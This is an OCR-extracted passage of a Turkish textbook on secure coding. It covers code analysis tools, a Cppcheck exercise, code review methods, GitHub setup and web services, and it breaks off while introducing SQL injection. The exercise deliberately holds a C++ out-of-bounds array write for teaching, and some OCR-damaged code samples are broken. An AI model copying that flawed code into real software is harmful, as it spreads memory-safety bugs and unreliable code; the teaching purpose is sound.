icerir. Kodun yapisal 6geleri (degiskenler, fonksiyonlar, siniflar vb.) ve bunlarin birbirleriyle iliskileri
analiz edilir. Bu tiir analiz araglari; kodun anlasilabilirligini artirmak, hatalari tespit etmek, kod tarzini
denetlemek ve uygulamalara en iyi uyumu saglamak icin kullanilir.

2. Dinamik Kod Analizi: Bu yaklasim, kodun gercek c¢alisma zamaninda davranisini izlemeyi icerir.
Yazilimin ¢alistirilmasi sirasinda degisken degerleri, islev ¢agrilari, akis kontrolu gibi unsurlar izlenir.
Dinamik kod analizi; hata ayiklama, performans profillemesi ve program davranisinin anlasiimasi igin
kullanilir.

Kod analizi; yazilimin kalitesini artirmak, guvenligini saglamak, bakim maliyetlerini disirmek ve
gelecekteki yazilim gelistirme siirecini desteklemek icin dnemli bir rol oynar.

2.3.2. Kod Analizi Araglari

Kod analizi araglari; yazilim gelistiricilerinin ve mihendislerin yazilm kodunu incelemek, hatalari
tespit etmek, kod kalitesini artirmak ve performans sorunlarini belirlemek icin kullandigi yazihm
araglaridir. Bazilari zaten yaygin olarak kullanilan Visual Studio, IntelliJ Idea gibi popler IDE [Integrated
Development Environment (Tiimlesik Gelistirme Ortami )]’lerle entegre edilen bu araglardan olusurken
digerleri bagimsiz olarak mevcuttur.
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Bazi popiler kod analizi araglari sunlardir:

SonarQube: Cesitli dillerde kod kalitesini degerlendirme, hatalari tespit etme ve givenlik aciklarini
bulma aracidir.

CodeClimate: Kod kalitesi, glivenlik agiklari ve performans sorunlari icin analiz saglar.

OWASP ZAP: Web uygulamalarinin giivenlik agiklarini tespit etmek ve sizmalara karsi test etmek igin
kullantlir.

Burp Suite: Web uygulamalarinin giivenlik testleri ve sizma testleri icin kullanilan bir aractir.

npm audit: Node.js projelerinde kullanilan paketlerin glivenlik aciklarini tespit etmek igin kullanilr.
Dependabot: Proje bagimliliklarinin glincellemelerini izler ve glvenlik aciklari icin uyari verir.
FindBugs: Java kodunu tarayarak potansiyel hatalari ve kot uygulama orintulerini bulur.

Checkmarx: Uygulama glivenligi analizi saglayan bir platformdur. Glivenlik agiklarini tespit etmek igin
kullantlir.

Veracode: Yazilim glivenligi analizi yaparak giivenlik agiklarini ve zayifliklari tespit eder.

Coverity: Stabilite, glivenlik ve performans sorunlarini tespit etmek icin kullanilan bir statik kod analizi
aracidir.

Klocwork: Kaynak kodunun hatalarini tespit eden bir statik analiz aracidir.

Fortify: Uygulama glivenligi testi yaparak glivenlik agiklarini ve zayifliklari tespit eden bir aragtir.
IBM Security AppScan: Web uygulamalarinin giivenlik agiklarini ve zayifliklarini tespit eder.
Cppcheck: C ve C++ kodlarini analiz ederek hatalari ve kétl uygulama oriintilerini tespit eder.
Bandit: Python uygulamalarinin glivenlik agiklarini tespit etmek icin kullanilan bir aragtir.
ESLint: JavaScript ile TypeScript i¢in kullanilan bir stil ve hata kontrol aracidir.

ConQat: Yazilim kalite analizlerinin hizl bir sekilde gelistiriimesi ve ylratilmesi icin bir arag seti olarak
tasarlanmistir.

Cogu kod analizi aract hem Windows hem de Linux isletim sistemlerinde kullanilabilir. Araglarin cogunda
platform bagimsizdir ve farkli isletim sistemlerinde galisabilir. Bu araglarin bazilari komut satiri tabanhidir
ve terminalde calisir. Bazilari grafik arayiizlii uygulamalardir. Ornegin SonarQube, Checkmarx, Veracode,
CodeClimate, Klocwork, Fortify gibi araglar genellikle sunucu tabanh uygulamalar olarak sunulur ve
web tarayici Gizerinden erisilir. Tarayici tabanh olduklariicin isletim sistemi fark etmeksizin kullanilabilir.
Bazi araglar ise terminal lzerinden komut satiri arayiizi ile kullanilir. Bu tur aracglar da genellikle hem
Windows hem de Linux isletim sistemlerinde kullanilabilir. Bunlara Cppcheck, Bandit, ESLint, Pylint,
FindBugs gibi araclar 6rnek verilebilir.

UYGULAMA

> C++ dilinde yazilan kod pargasinin Cppcheck aracini kullanarak statik kod analizi
islemini verilen adimlar dogrultusunda gergeklestiriniz.

1. void deneme(int X)
2.{

3. int deger[10];

4. if (x == 1000)
5. deger[x] = 0;
6.}
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! 1 Adim: Cppcheck uygulamasinin web sitesi olan https://cppcheck.sourceforge.io/ adresine gldmlz !
1 (Gorsel 2.29). 1

Home Wiki Forum Issues Developerinfo Online Demo Project page

Download Features News Documentation Support Contribute

Cppcheck is a static analysis tool for C/C++ code. It provides unigque code analysis to detect bugs and focuses on detecting
undefined behaviour and dangerous coding constructs. The goal is to have very few false positives. Cppcheck is designed to
be able to analyze your C/C++ code even if it has non-standard syntax (common in embedded projects).

Cppcheck is available both as open-source (this page) and as Cppcheck Premium with extended functionality and support.
Please visit www.cppchecksolutions.com for more information and purchase options for the commercial version.

Download
Cppcheck 2.11 (open source)

Platform File
Windows 64-bit (No XP support) Installer
Source code (.zip) Archive
Source code (.tar.gz) Archive

Packages
Cppcheck can also be installed from various package managers; however, you might get an outdated version then.

Debian:

sudo apt-get install cppcheck
Fedora:

sudo yum install cppcheck
Mac:

brew install cppcheck

Gorsel 2.29: Cppcheck aracinin araylizi

Home Wiki Forum Issues Developerinfo Online Demo Project page

Download Features MNews Documentation Support Contribute

Gorsel 2.30: Cppcheck aracinin meni gubugu

Online Demo

Enter code: (max 1024 characters)

void deneme(int x)
{
int deger[10];
if (x == 1000)
deger[x] =

Gorsel 2.31: Kod yazma alani
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Cppcheck 2.10

[test.cpp:4] -> [test.cpp:5]: (warning) Either the condition ‘x==1000’ is redundant or the array ‘deger[10]
is accessed at index 1000, which is out of bounds.

[test.cpp:3]: (style) The scope of the variable ‘deger’ can be reduced. Warning: Be careful when fixing
this message, especially when there are inner loops. Here is an example where cppcheck will write that
the scope for ‘i’ can be reduced:

void f(int x)

{
int i = 9;
if (x) {
/lit’s safe to move ‘int i = 0;’ here
for (int n = ©; n < 10; ++n) {
/litis possible but not safe to move ‘int i = @;’ here
do_something(&i);
}
}
}

When you see this message it is always safe to reduce the variable scope 1 level.
[test.cpp:5]: (style) Variable ‘deger[x]’ is assigned a value that is never used.

Done!

' 5. Adim: Gelen uyari sayfasindaki analiz sonucunda verilen daha dogru kod segenegini uygulayarak ! i
- tekrar degerlendirme yapiniz. .

Incelenmek lizere bir kod yazarak glivenli kod analizi araglarindan Ucretsiz kullanima izin
veren herhangi biriyle bu kodun analizini yapiniz.

DEGERLENDIRME

CGalismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgutlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.

KONTROL LIiSTESI
DEGERLENDIRME OLCUTLERI HAYIR

Program kodunu yazdi.

Programi calistirdi ve hatalarini denetledi.

Guvenli kod incelemesi yapmak igin uygun araci segti.

Calismayi verilen siirede tamamladi.

1
2
3
4. Glvenli kod incelemesini yapt.
5
6

Eksik oldugu o6lcutleri tamamladi.
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2.3.3. Kodu Tekrar Gozden Gegirme

Bir yazilim gelistiricisi yalnizca yazdigi kodun analizini yapmakla kalmaz kodun gézden gecirme islemini
de gerceklestirir. Kodu tekrar gozden gecirme kavrami, herhangi bir makinenin donanim bilesenlerinin
sadece fiziksel olarak bir araya getirilmesinin yeterli olmayacagi bir otomobil montaj hattina benzetile-
bilir. Motor, sasi, tekerlek ve diger pargalarin sadece bir araya getirilmesi otomobilin dogru ve glivenli
calisacagl anlamina gelmez. Bu parcalarin dogru bir sekilde entegre edilmesi, baglantilarinin hatasiz
olmasi, uyum iginde, glivenli ve etkili bir sekilde ¢calismasi da gereklidir. Yazihm gelistirme sirecinde de
yazilan kodlar sadece calisan bir programin yapi taslarini olusturmaz. Ayni zamanda bu kodlarin birbiriy-
le uyumlu bir sekilde etkilesim icinde oldugundan, potansiyel hatalardan arindirildigindan ve glivenlik
actklarindan korundugundan emin olunmasi gerekir.

Bir makinenin donanim bilesenlerinin montaji sirasinda yapilan kontrol ve testler her bir par¢anin dog-
ru calistigindan, bir ariza veya uyumsuzluk belirtisi olup olmadigindan emin olmayi amaclar. Bununla
birlikte yalnizca parcalarin fiziksel durumu degil aralarindaki baglantilarin ve iliskilerin de dikkatlice goz-
den gecirilmesi gerekir. Eger bir kablo yanls baglanmissa veya iki parca uyumsuz bir sekilde calisiyor-
sa bltln sistemin performansi tehlikeye girebilir. Yaziim gelistirme siirecinde de yazilan kod sadece
birbiriyle uyumlu calisan parcalardan olusmaz. Kodun glivenligi, performansi ve strdirilebilirligi de
g6z 6ntinde bulundurulmahdir. Yazilim gelistiricileri, kodlarini yazdiktan sonra sadece islevselligini degil
glvenlik aciklarini, veri sizintilarini, hatali islevleri ve performans sorunlarini da tespit etmek icin caba
harcar. Burada kod gbzden gecgirme siireci devreye girer. Kod gézden gegirme, baska bir gelistiricinin
yazilan kodlari incelemesi ve analiz etmesidir. Bu inceleme, potansiyel hatalarin erken asamada tespit
edilmesine yardimci olur. Yazilimin daha givenli, stabil ve yiksek kaliteli olmasini saglar.

Kod gozden gecirme sireci, farkli yaklasimlar altinda gerceklesebilir. Resmi kod gozden gegirme (For-
mal Code Reviews), genellikle daha biyik ve karmasik projelerde kullanilan yapilandiriimis ve detayh
incelemelerdir. Bu incelemelerde yazilimin tasarimi, algoritmasi, performansi ve giivenligi detayh bir
sekilde analiz edilir. Hafif kod gozden gecirme (Lightweight Code Reviews) daha sik kullanilir ve kiguk
ekipler veya proje pargalari icin uygundur. Bu tiir incelemelerde odak, daha hizl geri bildirim almak ve
temel hatalari yakalamaktir.

Yazilim gelistirme siireci, bir makinenin donanim bilesenlerinin montajiyla benzer bir sekilde distnle-
bilir. Yalnizca kod yazmak, sadece makinenin pargalarini bir araya getirmek gibidir. Kod gézden gecirme
sireci; bu pargalarin dogru calistigindan, birbiriyle uyumlu oldugundan ve glivenli bir sekilde etkilesim-
de bulundugundan emin olmayi saglar.

2.3.3.1. Resmi Kod G6zden Gegirme
Resmi kod gdzden gegirme islemleri resmi bir siirece da- KOD GOZDEN GECIRME

yanir. Yazilan kodun kusurlarini bulmaya yonelik bir stireg
mevcuttur. Bu slireg, 6zelliklerdeki veya tasarimlardaki
kusurlari bulmaya da yoneliktir.

Kod gbzden gecirme yontemlerinden biri Fegan Dene-
timidir (The Fagan inspection). Bu denetim; Planlama,
Genel Bakis, Hazirlik, Teftis Toplantisi, Yeniden Calisma
ve Takip seklinde altt adimdan olusur. Bu denetimdeki
(Gorsel 2.32) ana fikir; her adimin gikti gereksinimlerinin
onceden tanimlanmasi ve sireg icinde elde edilen ¢ikti-
nin, tanimlanan gereksinimlerle uyusup uyusmamasinin
karsilastirilarak adimlara devam edilmesidir. Daha sonra- Gorsel 2.32: Resmi kod gozden gecirme

ki adima gegis yapilmasina veya mevcut adimda galisilp

calisilmayacagina karar verilmesidir. insan hayatini riske
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atan bir yazilimla ugrasiliyorsa bu tarz bir yaklasim kullaniimasi uygundur. Ornegin niikleer santral igin
gelistirilen bir yazilimda bu yaklasimin tercih edilmesi gerekir. Diger alanlardaki yazilimlarda bu yakla-
sim, her adimda yapilan islemler ve karsilastirmalar yazilim ekibine ek yuk getirdigi icin ¢ok tercih edil-
mez. Cogu yazilimci bir hata durumunda insan hayatini tehdit etmeyen yazilimlar tzerinde ¢alistigl icin
nispeten daha hafif bir kod gézden gecirme yaklasimini tercih eder.

2.3.3.2. Hafif Kod Gozden Gegirme

Hafif kod gbzden gecirme yaklasimi, yaziimcilar tarafindan en sik tercih edilen yéntemdir. Hafif kod
gbzden gecirme islemi dort farkh sekilde gergeklestirilir.

1. Aninda Kod Gozden Gegirme

Aninda kod gbzden gecirme yaklasimi (Gorsel 2.33), ¢ift programlama olarak da bilinir. Bu
yaklasimda bir yazilim gelistiricisi kodu yazarken bir digeri de ayni anda o kodun gozden gegirme
islemini (uzak baglanti gibi yontemlerle) gerceklestirir. Olasi hatalari inceleyerek diizeltme ve
iyilestirme icin fikirler verir. Bu yontem, karmasik bir sorun ¢ézme isleminde c¢ok iyi ¢alisir. Bu
yaklasimdaki bir diger 6nemli etken de gelistiricilerin ayni uzmanlk dizeyinde olmalari ve ayni
hizda galismalaridir.

Gorsel 2.33: Aninda kod gbzden gecgirme

2. Senkron Kod Gozden Gegirme

Senkron kod gozden gegirme yakla-
simi, omuz listii kod gézden gegir-
me olarak da bilinir. Bu yaklasimda
yazilim gelistiricisi bltin programi
yazdiktan sonra kodun gozden gegci-
rilmesi gerekir. Kodu gézden geciren
gelistiriciyle yazilim gelistiricisi ayni
ekran Gzerinden kod gbézden gecgirme
islemi gerceklestirir (Gorsel 2.34).
Gozden gecirme islemi vyapilirken
gozden geciren gelistiricinin kodun
amaci hakkinda bilgi sahibi olmamasi
yontemin iyi calismasini saglar.

oy

Gorsel 2.34: Senkron kod gbézden gegirme

a
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3. Asenkron Kod Gozden Gegirme

Asenkron kod gbzden gecirme yak-
lasimi, arag destekli kod g6zden ge-
¢irme olarak da bilinir. Bu yaklasimda
kod incelemesi farkl zamanlarda ger-
ceklestirilir. Yazilim gelistiricisi yazdigl
kodu bitirdikten sonra kodu gdézden
gecirecek gelistiriciye iletir. Gelistirici,
kodu inceler. Hata varsa araclar kul-
lanip, yorumlarini ekleyerek yazilim
gelistiricisine iletir. Yazilim gelistiricisi
gerekli diizeltmeleri yaparak gozden
gecirmeye tekrar gonderir. Bu dong,
kodu gozden geciren gelistirici tarafindan yapilacak herhangi bir yorum kalmayana kadar devam
eder. Yapilan degisiklikler ve iyilestirmeler onaylanarak kod kullanima hazir olur. Bu yontem, yazi-
lim gelistiricisi ve kodu gézden geciren gelistirici birbirinden bagimsiz ¢calisabildigi icin avantajlidir.
Kod gozden gecirme isleminin (Gorsel 2.35) nihai sonuca kadar devam etmesiyle olusan doéng,
zaman kaybina sebebiyet verdigi icin dezavantajlidir.

4. Arada Bir Kod Gozden Gegirme

Gorsel 2.35: Asenkron kod gozden gegirme

Arada bir kod gozden gecirme yak-
lasimi, toplanti tabanh kod gozden
gecirme olarak da bilinir. Bu yakla-
simda (Gorsel 2.36) haftada bir veya
ayda bir diizenlenen toplantilarla kod
incelemesi gergeklestirilir. Yazilm ge-
listiricisi yazdigi kodu agiklar. Diger
gelistiriciler kodu inceleyerek olasi
sorunlari veya hatalari belirler ve
diizeltme oOnerilerinde bulunur. Kod
yaziminin uzun oldugu bir slirecte ye-
terli bir yaklasim degildir. Tum yazilm
gelistirici ekibin kod gbzden gegirme
hakkinda deneyimi olmadiginda bu
sekilde yapilacak kod gézden gecirme yaklasimi faydali olabilir fakat uzun vadede tercih edilen bir
yaklasim degildir.

Gorsel 2.36: Arada bir kod gdzden gegirme

Aciklanan bu yaklasimlar, hafif kod gézden gecirme teknikleri olarak siklikla kullanilir. Aralarindan
asenkron kod gézden gecirme yaklasimi en sik tercih edilenidir. Yazilim gelistiricileri tarafindan yapilan
kod gozden gecirme islemleri, yazilan kodun giivenliginin saglanmasi icin 6nemlidir.

Kodu tekrar gézden gecirme isleminde kullanilabilecek araclar da mevcuttur. Ornek olarak Azure De-
vOps, Bitbucket, Collaborator, Crucible, Custom tool, Gerrit, GitHub, GitLab, Helix Swarm, Phabrica-
tor, Reviable, Review Board, Rhodecode, Upscore araclari verilebilir. Bu araclar, kalabalik bir ekiple ¢a-
hsiimadiginda veya kodu gozden gecirecek bir gelistirici olmadiginda aktif olarak kullanilir. Bu araglarin
bir kismi Ucretliyken bazilari acik kaynakhdir.

UYGULAMA

> Klavyeden girilen sayiya gore faktoriyel ve Fibonacci dizisini hesaplayan Python
kodunu yazarak Visual Studio Code’da codescene eklentisiyle kod kalitesini
degerlendirme islemini verilen adimlar dogrultusunda gerceklestiriniz.
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. File Edit Selection View Go Run Terminal Help

EXTENSIONS Y O !Welcome X

> INSTALLED
> RECOMMENDED

e
LLj Open File...

(m| = Open Folder..
B.'a Extensions (Ctrl+Shift+X) - 6 require reload

s/

L4 e
2" Connec

Gorsel 2.37: Eklenti arama

I 2 Adim: Arama kismina codescene yazarak Visual Studio Code eklentisini arayiniz. !

' 3 Adim: Cikan eklentiyi Install butonuna tiklayarak Gorsel 2.38'deki gibi ylkleyiniz. !

) File Edit Selectio View Go Run Terminal Help
EXTENS KE. V¥ O = - ) Welcome X

codescene

CodeScene v0.4.0
O-u. CodeScene

ur code clean and maintainable.

'4 Adim: Olusturdugunuz proje klasérliinde yeni bir .py dosyasi agmak igin File > New File yolunu :
' seciniz (Gorsel 2.39). .
l File Edit Selection View Go Run Terming
New Text File Ctrl+N
New File... Ctrl+Alt+Windows+N
New Window Ctrl+Shift+N

New File...

Text File Built-In ctrl + N File 8%

Python File Python
Jupyter Notebook

Gorsel 2.39: Yeni .py dosyasi olusturma
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def calculate_factorial(n):
if n<=1:
return 1
else:
return n* calculate_factorial(n-1)
def fibonanacci_sequence(n):
sequence=[0,1]
while len(sequence)<n:
next_num=sequence[-1]+sequence[-2]
sequence.append(next_num)
return sequence
def main():
num=int(input(“Bir sayi giriniz:”))
factorial=calculate_factorial(num)
print(f”Faktoriyali alinan sayi{num} sonucu: {factorial}”)

fib_count=int (input(“Olusturulacak Fibonacci dizisi 6gelerinin sayisini gi-
riniz:”))

fib_sequence=fibonanacci_sequence(fib_count)

print(“Finonacci Dizisi:”, fib_sequence)

if __name__ == “__main__

'6 Adim: Kodu cahlstirdiginizda Goérsel 2.40'taki ciktiyr verdigini gozlemleyiniz (Faktoriyel hesabi ve '
IHbonaCC|du5|@nwbesdegerlgwﬂnu§hr) I

Bir sayi giriniz: 5
Faktoriyeli alinan sayi 5 sonucu: 120

Olusturulacak Fibonacci dizisi Ogelerinin sayisini girin: 5
EibenaceidDi zisic: B] 0781 1D g |

Gorsel 2.40: Kodun giktisi

Terminal Help

Open general code health documentation

let calculate_tactorial(n):
if n <= 1:

Gorsel 2.41: Codescene code analizi
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Codescene ve kod gdzden gegirme araglari daha biyilik ve karmasik projelerde kod kalitesini artirmak
icin kullanilan gli¢li araglardir.

Kullanicinin klavyeden girdigi herhangi iki sayi ile dort islem yapan Python kodunu yazip, VS
Code’da galistirarak kod gézden gegirme islemini gergeklestiriniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olcltlerini dikkate aliniz. Calismanizi 15 dakika icinde tamamlayiniz.

KONTROL LIiSTESI
DEGERLENDIRME OLGUTLERI HAYIR

VS Code’a codescene eklentisi yiikledi.

Yeni bir Python dosyasi olusturdu.

Degiskenleri tanimladi.

Dort islemi yapan program kodunu yazdi.

Program kodunu calistirarak test etti.

Kod gozden gecirme islemini gerceklestirdi.

Degerlendirme islemini yapt.

Calismayi verilen siirede tamamladi.

CI|® [N |U|H]wWN =

Eksik oldugu o6lcutleri tamamladi.

UYGULAMA

> GitHub platformu ile kod yeniden gdzden gecirme islemini verilen adimlar
dogrultusunda gerceklestiriniz.

I 1 Adim: Tarayicinizdan https://github.com/signup adresini aginiz. I
' 2 Adim: GitHub kayit ekranina e-posta adresinizi giriniz (Gorsel 2.42). '

Gorsel 2.42: GitHub kayit ekrani
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Create a password

Gorsel 2.43: Kayit ekrani sifre yazma alani

Enter a username’

Gorsel 2.44: Kayit ekrani kullanici adi yazma alani

P o e e e e o e o e e e e e o e e e e e e e e e e e e e e e e e

' 5. Adim: GitHub platformundan e-posta almak i¢in y, almamak icin n yazarak Continue butonuna |
It|klay|n|z(GorseI245) i

Would you like to receive product updates and announcements via
email?

n n n n

Type “"y" for yes or "n" for no

Gorsel 2.45: E-posta alma ayari

Verify your account

Hesabinizi koruma

is1 oldugunuzu anlamamiz ic¢in litfen bu

Dogrula

1

Gorsel 2.46: Hesap dogrulama ydontemi segimi



/ 2. OGRENME BiRiMi

Bu ag1y1l eglestirin

Gonder

1 O

Yeniden baglat

Gorsel 2.47: Hesap dogrulama

1 8 Adim: Create account butonuna basiniz.

! 9 Adim: E-posta adresinize génderilen dogrulama kodunu giriniz (Gorsel 2.48).

You're almost done!
We sent a launch code to |

Gorsel 2.48: GitHub dogrulama kodu giris ekrani

This will help us guide you to the tools that are best suited for your
projects.

How many team members will be working with you?
() Just me 0 25 () 5-10
) 10-20 ) 20-50 ) 50+

Are you a student or teacher?

) N/A O Student () Teacher

Gorsel 2.49: GitHub proje segenekleri ekrani
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' 11. Adim: Continue butonuna basiniz. ;
1 12. Adim: Hesap segenegi olarak bedava (FREE) se¢imini yapiniz. :
| I
1
1
1

' 13 Adim: GitHub Desktop programini indirerek kurunuz.

Welcome to
GitHub Desktop

GitHub Desktop is @ seamless way to contribute to projects on GitHub and
GitHub Enterprise. Sign in below to get started with your existing prajects.

Sign in ta GitHub.com 4 Sign in to GitHub Enterprise

New to GitHub? Create your free account.

I15 Adim: GitHub platformuna giris yaptiktan sonra GitHub Desktop uygulamasina yetkllendlrme:
|§Iem|n| yapiniz (Gorsel 2.51).

1

. , 16. Adim: GitHub Desktop uygulamasinda Create a New Repository on your hard drive... secenegini

1
1
1
1
' segerek bilgisayarinizda yeni bir depo olusturunuz (Gorsel 2.52). !

Authorize GitHub Desktop Le‘t 'S g et Sta rted |

Add a repository to GitHub Desktop to start collaborating
) GitHub Desktop by GitHub Desktop
Wants 1o access your account

Repositories
l;l »pc ' private * ﬁ Create a tutorial repository...

R Personal user data ~
R ;,B Clone a repository from the Internet...
o Wy _ v

+ Create a New Repository on your hard drive...

Cancel Authorize desktop

Authorizing wil redirect to . Add an Existing Repository from your hard drive...
x-github-desktop-auth:/foauth

Gorsel 2.51: GitHub yetkilendirme ekrani Gorsel 2.52: GitHub Desktop baslangig ekrani
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'17 Adim: Yeni bir depo olusturma penceresinde deponun ismini, agiklamasini ve yerel klasorunu Y
1 seginiz (Gorsel 2.53). 1

Create a new repository X

Name

| kodgozdengecirme |

Description
|' |

Local path

|. Ch\kodgozdengecirme | | Choose... |

Initialize this repository with a README

Gitignore

|_None V_|
License

|.None V.|

Create repository | Cancel |

Gorsel 2.53: GitHub yeni depo olusturma

! 18 Adim: Open the repository in your external editor secenegini kullanarak deponuzu ed|torle '

raginiz (Gorsel 2.54). !
Eranch Heip
Changes History 1
0 changed s
No local changes
:\h;“:;;;::\ ammitted thanges in this repatitary, Hers are wome hiendly suggestisns for
Publigh your |me.|lul)' 12 GitHub
e e Vi
in the toolbar for | repositord r Gl =« P
Open the répaditory in your extémal editor
Select your editor in Option: Open in Vs Studio Code
V\ze:ﬂ the ‘H.cf oh'our renoutor)' n! Explorer Show in Explorer
Gorsel 2.54: Haricl editér agma
________________________________________________________ .
! 19 Adim: Visual Studio Code editériinde main.py adinda yeni bir Python dosyasi olusturunuz. 1
1
! 20 Adim: main.py dosyasina su kodu yazarak kaydediniz: !
———————————————————————————————————————————————————————— o
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# Bir sayinin faktoriyelini hesaplayan Python kodu
def factorial(n):
if n==0 or n == 1:
return 1
else:
return n * factorial(n - 1)
num = int(input(“Faktoriyeli hesaplanacak sayiyi giriniz.: “))
result = factorial(num)

print(f”{num} sayisinin faktdriyeli: {result}”)

l 21. Adim: Publish repository secenegiyle deponuzu yayinlayiniz (Gorsel 2.54-1).
'22 Adim: Depo adini ve agiklamasini giriniz (Gorsel 2.55).

Publish repository X

GitHub.com GitHub Enterprise

Name

[kodgozdengecirme 1

Description
( )

Keep this code private

Publish repository | Cancel

Gorsel 2.55: Depo yayinlama segenekleri

' 23. Adim: GitHub platformunda deponuzun ayarlar penceresinden Collaborators (is birlikgiler) sek— Y

- mesini tiklayarak yeni bir tye ekleyiniz (Gorsel 2.56).

<> Code () Issues I Pullrequests (5 Adtions [ Projects M wiki @ Security |~ Insights 31 Settings
B General Who has access
s PUBLIC REPOSITORY (o] DIRECT ACCESS A
l £ Collabaratars This repositary is public and visible 0 collatrorators have access to this

T Moderation options ~ to anyone. repasitary, Only you can contribute
e to this repository.

Code and autamation

' Branches Manage access

T Tags .

E+ Rules w '_’.E

(5 Actions - o

& Webhooks You haven't invited any collaborators yet

B Environments

S Codespaces Add people

Gorsel 2.56: Depo ayarlari
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'24 Adim: Eklediginiz Giyenin kullanici adini, tam adini veya e-posta adresini girerek davetlyesml:
| 1 gonderiniz (Gorsel 2.57). )

=

Add a collaborator to kodgozdengecirme

[ Q Eearch by username, full name, or email ]

Gorsel 2.57: Ekip liyesi davet etme ekrani

GitHub platformunda kod yeniden gézden gegirme islemi yapiniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati igcinde tamamlayiniz.

KONTROL LIiSTESI
DEGERLENDIRME OLCUTLERI HAYIR

1. GitHub Desktop uygulamasiyla yeni bir depo olusturdu.

2. Depoya yeni dosyalar ekledi.

3. Depodaki degisiklikleri yayinladi.

4. Depoya ekip arkadaslarini ekledi.

5. Diger ekip arkadaslarinin yaptigi degisiklikleri gbzlemledi.

6. Depoya yeni bir dal ekledi.

7. Yenidala istekler ekledi.

8. Yapilan degisiklikleri izledi.

9. Calismayi verilen siirede tamamladi.

10. Eksik oldugu o6l¢utleri tamamladi.
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2.4. GUVENLI WEB SERVISi VE AJAX

Web servisleri (Gorsel 2.58), farkh sistemlerin birbiriyle iletisim kurabilmesi igin kullanilan bir tekno-
lojidir. Web servisleri bu sistemler arasinda veri alisverisi yapmaya, islevleri cagirmaya veya kaynaklari
paylasmaya yardimci olur. Farkli sistemlerin birbiriyle uyumlu sekilde calismasini saglar. Ornegin mobil
uygulamanin verilerini bir sunucuda saklamak ve glincellemek igcin web servisleri kullanilabilir. Farkli
sirketler arasinda veri paylasimi veya bir hizmetin disariya acilmasi icin de web servisleri tercih edilir.
Web servisleri aslinda bir API'dir. Kisaca API (Application Programming Interface), bir yazilimin veya
hizmetin diger yazilimlarla etkilesime girebilmesi i¢in sundugu arayizdur. API’ler istemci uygulamalarin
(genellikle bir kullanicinin kullandigi uygulama) belirli islevleri kullanabilmesine izin verir. Bu islevler;
veri almak, veri gondermek, hizmetleri cagirmak veya islemleri gerceklestirmek olarak érneklendirile-
bilir. Web servislerindeki temel iliski, istemci ve sunucu arasindaki etkilesimdir. istemci, genellikle kul-
lanicinin kullandigl uygulamayi temsil ederken sunucu, verileri saglayan veya hizmeti sunan tarafi ifade
eder. istemci, sunucuya bir istek gdnderir. Sunucu da bu istegi isler ve sonucu istemciye geri génderir.
Bu istemci-sunucu iliskisi, web servislerinin ¢alisma mantiginin temelidir.

Gorsel 2.58: Web servisleri

Web servisleri, temel olarak HTTP protokoll Gzerinden calisir ve genellikle XML veya JSON gibi veri
formatlarini kullanarak veri paylasimini gerceklestirir. Farkli tiirde web hizmetleri vardir. En yaygin
olanlari su Gglddr:

1. SOAP (Simple Object Access Protocol): Onceden belirlenmis XML tabanl bir mesaj formatini
kullanarak web hizmetlerini tanimlayan bir protokoldir. SOAP, daha kati bir yapi ve glivenlik modeli
sunabilir ancak veri paylasimi genellikle daha karmagiktir.

2. REST (Representational State Transfer): Daha esnek ve hafif bir yaklasimdir. RESTful web
hizmetleri genellikle HTTP metotlarini (GET, POST, PUT, DELETE gibi) kullanarak kaynaklara erisim
saglar. Veri genellikle JSON veya XML formatinda tasinir. REST son zamanlarda ¢ok popiler héale
gelmistir. internet tabanh hizmetlerin temelini olusturur.

3. JSON-RPC ve XML-RPC: Bu protokoller, uzaktan prosediir ¢agrisi (RPC) kavramini kullanarak
uygulamalar arasinda veri alisverisi saglar. JSON-RPC, JSON formatini kullanirken XML-RPC, XML
formatini kullanir.

Web servisleri, farkh uygulamalarin ve servis saglayicilarinin birbirleriyle etkilesimde bulunmasini
saglar. Ornegin 6deme islemi gerceklestiren bir web hizmeti, e-ticaret sitelerinin édeme sayfalarinda
kullanilabilir. Bu sekilde ayni hizmet, birden fazla uygulama tarafindan kullanilabilir hale gelir.
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AJAX (Asynchronous JavaScript and XML), web servisleriile ilgili bir yapidir ancak tam anlamiyla bir web
servisi protokoll veya teknolojisi degildir. AJAX, web sayfalarinin arka planda veri alisverisi yapmasini,
sayfa yeniden yliklenmeden dinamik icerikleri glincellemesini saglayan bir teknik ve yaklasimdir.

AJAX, web tarayicilari iginde JavaScript kullanarak sunucu ile iletisim kurar. Bu iletisim, genellikle JSON
veya XML formatinda verilerin alinmasi veya génderilmesiyle gergeklesir. AJAX sayesinde kullanicilar,
web sayfalarini aninda giincelleyebilirler. Béylece tam sayfa yenileme ihtiyaci ortadan kalkar. Bir
diger ifadeyle AJAX, web servisleri ile iletisim kurmanin bir yolunu sunar ancak kendi bir web servisi
protokolil degildir. Web servisleri daha genis bir kavramdir. Farkl protokol ve teknolojileri icerebilirken
AJAX sadece belirli bir tarayici tabanli tekniktir.

2.4.1. Web Servisi Zafiyetleri

Web servisleri, farkli sistemler arasinda veri alisverisi yaparken bu verilerin gizliligini, bGtunlGgini
ve erisilebilirligini saglamalidir. Ayni zamanda saldirilara karsi korunmalidir. Ornegin hassas verilerin
glvenli olmayan bir sekilde iletiimesi veya yetkisiz erisimler, ciddi glivenlik sorunlarina yol agabilir. Bu
nedenle web servisleri glivenlik agisindan titizlikle tasarlanmali ve glivenlik dnlemleri uygulanmalidir.
Web servisleri, glivenlik agisindan bir dizi zafiyete maruz kalabilir.

2.4.1.1. Web Servislerinde Injection Zafiyetleri

Web servislerinde injection zafiyetleri sunlardir:

1. SQL Injection Zafiyeti: Web servislerinin veri tabanlarina gonderilen kullanici girislerinin yetersiz
bir sekilde denetlenmesi sonucu, saldirganlarin kot amagh SQL sorgularini sisteme enjekte etmesine
izin veren bir zafiyettir. Bu sorgular veri tabanina zarar verebilir veya hassas verileri calabilir. Ornegin
bir web uygulamasina kullanici adi ve sifreyle giris yapilir. Kullanici tarafindan giris yapmak igin
kullanici adi ve sifre, girilen verilerdir ancak web uygulamasi, girdileri yeterince dogrulamiyorsa bir
